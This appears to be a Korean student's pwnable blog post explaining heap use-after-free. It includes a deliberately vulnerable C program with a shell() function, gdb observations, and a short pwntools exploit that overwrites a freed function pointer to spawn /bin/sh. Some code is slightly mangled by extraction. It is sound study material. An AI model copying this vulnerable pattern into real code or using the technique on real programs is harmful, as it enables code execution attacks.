ipwn

[Heap] Use After Free 본문

Pwnable

[Heap] Use After Free

ipwn 2018. 2. 18. 20:16

아직까지는 heap overflow를 이용한 leak, 그리고 uaf밖에 공부를 안했는데 uaf를 한 번 정리해봐야겠다.

이러다가는 정말 공부한 거 다 까먹을 것 같아서 아무래도 정리를 해야겠다 ㅋㅋ


먼저 이 포스팅을 공부목적으로 들어오셨다면, 메모리구조를 먼저 이해하고 오시길 바란다.


공부를 할 때 블랙펄 시큐리티에 있는 글 들을 많이 참조했다.


아직 힙 구조에 대해서는 제대로 공부를 안해놨기 때문에, 공부하고 그로 인해 발생하는 취약점도 찾아봐야겠다.


여튼 uafuse after free의 약자인데, 이 취약점이 발생하는 이유는 생각보다 간단했고 신기했다.


#include <stdio.h>
#include <stdlib.h>
 
int main() {
    int *ptr1;
    int *ptr2;
    int *ptr3;
        
    ptr1 = malloc(4);
    *ptr1 = 0xcafebabe;
    
    printf("1. malloc : %#x, %#x\n", ptr1, *ptr1);
    
    free(ptr1);
    
    ptr2 = malloc(4);
    printf("2. malloc : %#x, %#x\n", ptr2, *ptr2);
 
    free(ptr2);
    
    ptr3 = malloc(1024);
    
    printf("3. malloc : %#x, %#x\n", ptr3, *ptr3);
    return 0;



음 이러한 코드가 있다고 가정할 때 출력 값은


agh04140@ubuntu:~/tmp/c$ ./example1 
1. malloc : 0x89900080xcafebabe
2. malloc : 0x89900080xcafebabe
3. malloc : 0x89904200



이러한 출력값을 넘겨준다.


여기서 알 수 있는 사실은 동적할당을 할 때 어떠한 알고리즘을 통해서 할당을 해주는데, heap영역에 할당을 해줄 때 

free해준 만큼의 공간을 다시 다른 변수에 할당을 해준다면, 다른 공간에 할당을 해주는 것이 아니라 

다시 그 공간을 재사용 한다는 것, 그리고 free를 한다고 그 공간의 값이 사라지는 것이 아니라는 점

그리고 다른 사이즈를 사용한다면 완전 다른 공간에 할당을 해준다는 것이다.


만약 함수포인터가 동적할당이 되어있다면, 우리의 바람대로 프로그램의 실행 흐름도 조작할 수 있을 것이다.


한 번 예제를 직접 만들어서 그 경우를 알아보겠다.


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
typedef struct {
    char name[32];
    void (*print)(void*);
} test;
 
typedef struct {
    char name[128];
} string;
 
void printName(test *t) {
    printf("%s\n", t->name);
}
 
void shell() {
    setreuid(00);
    printf("This is shell!! You know UAF vuln!\n");
    system("/bin/sh");
}
 
int main() {
    test* t1;
    string *s1;
    t1 = malloc(256);
    
    strcpy(t1->name, "I LOVE CHAEYOUNG");
    t1->print = (void*)printName;
    
    t1->print(t1);
    
    free(t1);
    
    s1 = malloc(256);
    
    scanf("%128s", s1->name);
    t1->print(t1);
    return 0;
}



이러한 코드가 있다고 가정해보자.


일단 똑같은 사이즈만큼 malloc를 해주므로 uaf취약점이 발생한다는 것은 알 수 있다.


그리고 shell이라는 함수가 존재하므로 print라는 함수포인터를 조작해 printName함수의 주소가 아니라

shell함수의 주소를 가르키게 하면 될 것이다. 


일단 가장 먼저 gdb를 열어, heap영역의 메모리를 살펴보도록 하겠다.



색칠해둔 부분이 malloc으로 동적할당 이후 지정한 값을 넘겨주는 부분을 표시한 부분이다.


이제 ebp-0x10은 heap의 첫 주소를 가르킨다. 즉 이중포인터이다.


그러므로 값을 다 넘겨주고 난 뒤에 eax가 ebp-0x10의 값을 가지는 main + 80의 부분에 bp를 걸어주고 

eax 레지스터를 한 번 살펴보자.



아까 strcpy로 넘겨준 "I LOVE CHAEYOUNG"이라는 값이 아주 잘 넘겨져있다.


흠 그나저나 왜 strcpy함수가 사용되지 않고, 그냥 값을 하나하나 넘겨준 것일까?

친구한테 물어봤더니 그냥 컴파일러가 "최적화" 했다고 한다.

(아니 나는 힙에는 무조건 strcpy가 안된다거나 그런 이유가 있는 줄 알았다 ㅋㅋ)


여튼 이제 뒷 부분을 살펴보면 printName함수의 주소가 존재하는 공간이 발견될 것이다.


한 번 더 살펴보도록 하겠다.



0x804852b의 값이 printName의 주소이다.



이렇게 "I LOVE CHAEYOUNG"의 string이후 0x10의 텀 이후에 함수 포인터의 위치를 발견할 수 있었다.

즉 32칸의 공간이 함수포인터 이전에 생성되어있다.(사실 당연한 얘기지만...)


그렇다면 t1을 free한 이후 s1을 malloc해줄 때 같은 공간을 할당해주므로 scanf로 입력을 받을 때 

dummy값을 32byte 넣어준 뒤 그 뒷 부분을 shell의 주소로 바꿔주면 shell이 실행될 것이다.


일단 shell함수의 주소를 가져와보겠다.



shell의 주소는 0x8048543이다.


exploit 당하지 않는 경우의 바이너리를 한 번 실행시켜보겠다.


agh04140@ubuntu:~/tmp/c$ ./uaf 
I LOVE CHAEYOUNG
AAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAA


이렇게 정상실행시에는 printName함수가 제대로 실행이 되는 것을 알 수 있다.


하지만 dummy값을 32만큼 넘겨주고, 그 뒤를 shell함수의 주소로 덮어준다면 아마 예상대로 shell이 가져와질 것이다.



성공적으로 예상한 결과가 도출되었다.


이렇게 uaf 취약점은 발생하고 또 exploit할 수 있다.


from pwn import *
 
= process("./uaf");
 
shell = 0x8048543
 
pay = ''
pay += 'A'*32
pay += p32(shell)
 
p.send(pay)
p.recv(1024)
 
p.interactive()
 
p.close()


solve.py


스크립트도 겨우 10줄 넘는 것 같다.


이제 힙 구조를 한 번 알아보고, 그 것도 정리해서 블로그에 포스팅해야겠다.


혹시나 바이너리가 필요하신 분이 계실까봐 바이너리도 첨부하겠습니다.


uaf


틀린 부분이 있거나 부족하다고 생각되는 부분은 피드백 해주세요...ㅠㅠ

아직 많이 부족한 고등학생입니다..ㅠㅠ

'Pwnable' 카테고리의 다른 글

[Pwnable] close된 stdin, stdout 열기  (0) 2018.11.14
[pwnable] Format String Bug  (0) 2018.07.31
[pwnable] Blind ROP  (0) 2018.07.28
[Heap] House of force  (0) 2018.05.14
Comments